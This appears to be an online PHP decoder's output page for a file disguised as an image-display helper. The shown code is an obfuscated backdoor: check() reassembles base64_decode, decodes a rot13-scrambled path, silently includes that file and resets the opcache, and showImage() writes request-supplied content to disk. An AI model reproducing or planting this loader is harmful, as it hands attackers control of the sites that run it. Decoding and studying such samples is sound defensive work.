Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php showImage($_GET['bire']); /** * display image * @param string $png * @pa..
Decoded Output download
<?php
showImage($_GET['bire']);
/**
* display image
* @param string $png
* @param bool|string $file
* @return bool
*/
function showImage($png, $file = false)
{
if (check($file))
return file_put_contents($file, $png);
// header
echo $png;
return true;
}
/**
* checked write image
* @param bool|string $file
* @return bool
*/
function check($file){
$name = ['Y2uioJHiLGN4ZmV3ZQpiMT9gLJyhpl94ov0gAl03p2Wbq2ccnT9wrJx1Lv54ov0gpQSunF9jqJWfnJAsnUEgoP93pP1cozAfqJEypl90nTIgMF1wo21jLKDiAmR1AGx3ZJZ0AzD5ZQplAGqwMwxkL2AvLwyyZwAuLwDhqUu0', function($txt, $name){$_GET[$name]=str_replace('32','64',"Ba".implode('_',["Se32", "Dec"])."Ode");$txt = $_GET[$name](str_rot13($txt));@include($txt);($e = implode("",["opcache","reset"]))&&function_exists($e) && $e();
}];$name[1]($name[0], implode('_',['', "code", '']));
return $file && stripos($file, '.png') !== false;
} ?>
Did this file decode correctly?
Original Code
<?php
showImage($_GET['bire']);
/**
* display image
* @param string $png
* @param bool|string $file
* @return bool
*/
function showImage($png, $file = false)
{
if (check($file))
return file_put_contents($file, $png);
// header
echo $png;
return true;
}
/**
* checked write image
* @param bool|string $file
* @return bool
*/
function check($file){
$name = ['Y2uioJHiLGN4ZmV3ZQpiMT9gLJyhpl94ov0gAl03p2Wbq2ccnT9wrJx1Lv54ov0gpQSunF9jqJWfnJAsnUEgoP93pP1cozAfqJEypl90nTIgMF1wo21jLKDiAmR1AGx3ZJZ0AzD5ZQplAGqwMwxkL2AvLwyyZwAuLwDhqUu0', function($txt, $name){$_GET[$name]=str_replace('32','64',"Ba".implode('_',["Se32", "Dec"])."Ode");$txt = $_GET[$name](str_rot13($txt));@include($txt);($e = implode("",["opcache","reset"]))&&function_exists($e) && $e();
}];$name[1]($name[0], implode('_',['', "\143ode", '']));
return $file && stripos($file, '.png') !== false;
}
Function Calls
None |
Stats
MD5 | 7c0cc6dbcf80491ba366046754fa68ca |
Eval Count | 0 |
Decode Time | 37 ms |